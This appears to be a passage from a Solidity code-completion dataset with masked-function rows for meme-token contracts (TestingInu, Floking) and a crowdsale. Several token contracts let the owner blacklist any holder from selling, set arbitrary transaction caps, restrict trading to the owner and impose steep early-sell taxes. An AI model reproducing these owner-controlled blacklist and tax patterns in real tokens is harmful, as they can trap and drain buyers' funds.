uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10 ** 9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function updateMaxTx (uint256 fee) public onlyOwner {
_maxTxAmount = fee;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | contract TestingInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "TestingInu";
string private constant _symbol = "TestingInu";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xFa5C0dc75Dba468B0D8C1F4EFeeA28Cf73D38Ab0);
_feeAddrWallet2 = payable(0xFa5C0dc75Dba468B0D8C1F4EFeeA28Cf73D38Ab0);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0xFa5C0dc75Dba468B0D8C1F4EFeeA28Cf73D38Ab0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function originalPurchase(address account) public view returns (uint256) {
return _buyMap[account];
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() {
_maxTxAmount = maxTransactionAmount;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
<FILL_FUNCTION>
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10 ** 9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function updateMaxTx (uint256 fee) public onlyOwner {
_maxTxAmount = fee;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} |
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isBuy(from)) {
// TAX SELLERS 28% WHO SELL WITHIN 24 HOURS
if (_buyMap[from] != 0 &&
(_buyMap[from] + (24 hours) >= block.timestamp)) {
_feeAddr1 = 1;
_feeAddr2 = 28;
} else {
_feeAddr1 = 2;
_feeAddr2 = 12;
}
} else {
if (_buyMap[to] == 0) {
_buyMap[to] = block.timestamp;
}
_feeAddr1 = 2;
_feeAddr2 = 12;
}
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
| function _transfer(address from, address to, uint256 amount) private | function _transfer(address from, address to, uint256 amount) private |
92797 | Crowdsale | Crowdsale | contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are collected
address public wallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {<FILL_FUNCTION_BODY> }
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
// fallback function can be used to buy tokens
function () external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
return now > endTime;
}
} | contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are collected
address public wallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
<FILL_FUNCTION>
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
// fallback function can be used to buy tokens
function () external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
return now > endTime;
}
} |
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
| function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public | function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public |
9532 | Floking | _transferBothExcluded | contract Floking is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private botWallets;
bool botscantrade = false;
bool public canTrade = false;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
address private feeaddress;
uint256 public earlyselltimestamp;
string private _name = "Floking";
string private _symbol = "FLOKING";
uint8 private _decimals = 9;
uint256 private _taxFee;
uint256 private buytaxfee = 1;
uint256 private selltaxfee = 1;
uint256 private _previousTaxFee = _taxFee;
uint256 private _liquidityFee;
uint256 private buyliquidityfee = 9;
uint256 private sellliquidityfee = 15;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _totalBuyTax = buytaxfee + buyliquidityfee;
uint256 public _totalSellTax = selltaxfee + sellliquidityfee;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public depwallet;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public earlysellenabled = true;
uint256 public _maxTxAmount = 100000000 * 10**9;
uint256 public _maxWallet = 1000000 * 10**9;
uint256 public numTokensSellToAddToLiquidity = 1000000 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Mainnet & Testnet ETH
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
depwallet = _msgSender();
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {<FILL_FUNCTION_BODY> }
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setfeeaddress(address walletAddress) public onlyOwner {
feeaddress = walletAddress;
}
function _setmaxwalletamount(uint256 amount) external onlyOwner() {
require(amount >= 500000, "Please check the maxwallet amount, should exceed 0.5% of the supply");
_maxWallet = amount * 10**9;
}
function setmaxTxAmount(uint256 amount) external onlyOwner() {
require(amount >= 500000, "Please check MaxtxAmount amount, should exceed 0.5% of the supply");
_maxTxAmount = amount * 10**9;
}
function updateSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() {
numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**9;
}
function clearStuckBalance() public {
payable(feeaddress).transfer(address(this).balance);
}
function claimERCtoknes(IERC20 tokenAddress) external {
tokenAddress.transfer(feeaddress, tokenAddress.balanceOf(address(this)));
}
function addBotWallet(address botwallet) external onlyOwner() {
require(botwallet != uniswapV2Pair,"Cannot add pair as a bot");
botWallets[botwallet] = true;
}
function removeBotWallet(address botwallet) external onlyOwner() {
botWallets[botwallet] = false;
}
function getBotWalletStatus(address botwallet) public view returns (bool) {
return botWallets[botwallet];
}
function StartTrading(address _address)external onlyOwner() {
canTrade = true;
earlyselltimestamp = block.timestamp + 24 hours;
feeaddress = _address;
}
function setFees(uint256 _buytax, uint256 _selltax, uint256 _buyliquidity, uint256 _sellliquidity) public onlyOwner {
require(_buytax + _buyliquidity <= 13, "buy tax cannot exceed 13%");
require(_selltax + _sellliquidity <= 16, "sell tax cannot exceed 15%");
buytaxfee = _buytax;
selltaxfee = _selltax;
buyliquidityfee = _buyliquidity;
sellliquidityfee = _sellliquidity;
_totalBuyTax = buytaxfee + buyliquidityfee;
_totalSellTax = selltaxfee + sellliquidityfee;
}
function setEarlysellenabled(bool value) public onlyOwner {
earlysellenabled = value;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if(from == uniswapV2Pair && to != depwallet) {
require(balanceOf(to) + amount <= _maxWallet, "check max wallet");
}
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = buytaxfee;
_liquidityFee = buyliquidityfee;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = selltaxfee;
_liquidityFee = sellliquidityfee;
if (to == uniswapV2Pair && from != owner() && from != address(this) && earlysellenabled && block.timestamp < earlyselltimestamp) {
_liquidityFee = 24;
}
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(contractTokenBalance); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
payable(feeaddress).transfer(newBalance);
emit SwapAndLiquify(contractTokenBalance, newBalance, contractTokenBalance);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!canTrade){
require(sender == owner()); // only owner allowed to trade or add liquidity
}
if(botWallets[sender] || botWallets[recipient]){
require(botscantrade, "bots arent allowed to trade");
}
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
